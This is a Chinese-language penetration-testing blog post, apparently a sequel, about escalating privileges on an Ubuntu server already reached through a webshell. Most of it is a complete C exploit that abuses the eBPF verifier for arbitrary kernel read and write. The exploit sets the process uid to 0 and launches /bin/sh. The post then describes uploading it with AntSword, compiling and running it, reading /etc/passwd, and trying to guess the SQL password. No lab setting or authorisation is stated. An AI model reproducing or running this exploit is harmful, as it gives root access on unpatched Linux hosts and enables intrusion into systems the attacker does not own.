接上一篇渗透测试文章
0x01 收集内网信息
接上篇我们连接了webshell
先查看服务器的信息
0x02 漏洞信息利用
这里了解到了这台服务器是ubuntu系统
百度一下CVE
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
//偏移需要自己去计算
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x9b8 //0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328 //-32
int sockets[2];
int mapfd, progfd;
//核心代码
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00" //通过ebpf的检验,只要执行前4行,即成功通过
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00" //1,r6=map[0]
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00" //2,r7=map[1]
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00" //3,r8=map[2]
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00" //r2=r0 从这里往下根据map[0](即r6)的值来执行代码
"\xb7\x00\x00\x00\x00\x00\x00\x00" //r0=0
"\x55\x06\x03\x00\x00\x00\x00\x00" //if r6!=0 jmpto if r6!=1
"\x79\x73\x00\x00\x00\x00\x00\x00" //r3 = [r7] 指令一,任意读
"\x7b\x32\x00\x00\x00\x00\x00\x00" //[r2]=r3
"\x95\x00\x00\x00\x00\x00\x00\x00" //exit(0)
"\x55\x06\x02\x00\x01\x00\x00\x00" //if r6!=1 jmpto [r7]=r8
"\x7b\xa2\x00\x00\x00\x00\x00\x00" //[r2]=rbp 指令二,泄露栈地址
"\x95\x00\x00\x00\x00\x00\x00\x00" //exit(0)
"\x7b\x87\x00\x00\x00\x00\x00\x00" //[r7]=r8 指令三,任意写
"\x95\x00\x00\x00\x00\x00\x00\x00"; //exit(0)
char bpf_log_buf[LOG_BUF_SIZE];
//封装一些bpf的操作,还有一些必要的结构体
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
//准备函数
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); //创建公共缓冲区map
if (mapfd < 0)
__exit(strerror(errno));
puts("mapfd finished");
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, //加载注入的代码进内核
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
puts("bpf_prog_load finished");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) //准备一个sockets作为套接口组,来进行通信
__exit(strerror(errno));
puts("socketpair finished");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) //将socket和map绑定,完成准备工作
__exit(strerror(errno));
puts("setsockopt finished");
}
//
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
//用来执行已经设置好的三个功能,其中:a是放着指令号,分别对应着指令一二三,b和c分别放着操作数,0、1、2分别对应三块map
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
//下面都是把__update_elem做了简单的封装
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
//计算task_struct的真实地址,泄露出来的栈地址,~是取反操作
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET) //1.使用指令一泄露栈地址
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET) //2.通过偏移地址,计算处真实的task_struct地址所在的地址
__exit("bogus sp");
task_struct = __read(sp); //3.task_struct 指令一操作,在task_struct地址所在的地址处,取出task_struct的真实地址
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); //4.cred 指令一操作,在cred地址所在的地址处,取出cred的真实地址
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; //5.uid 指令一操作,在uid地址所在的地址处,取出uid的真实地址
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); //6.指令三操作,将0写入uid中
if (getuid() == 0) {
printf("spawning root shell\n");
system("id");
system("/bin/sh");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}
试试能不能利用
利用中国蚁剑上传EXP到服务器
gcc编译EXP
运行EXP
发现运行失败 提示被拒绝
只能想想其他办法了
0x03 猜解密码
查看etc/passwd
过滤出真实用户
列出了root真实用户
看看能不能猜解sql密码
这里弄了好久一直不成功…
直接跑路了 下次在弄…
由于本人时间有限,只能等到有时间再继续了。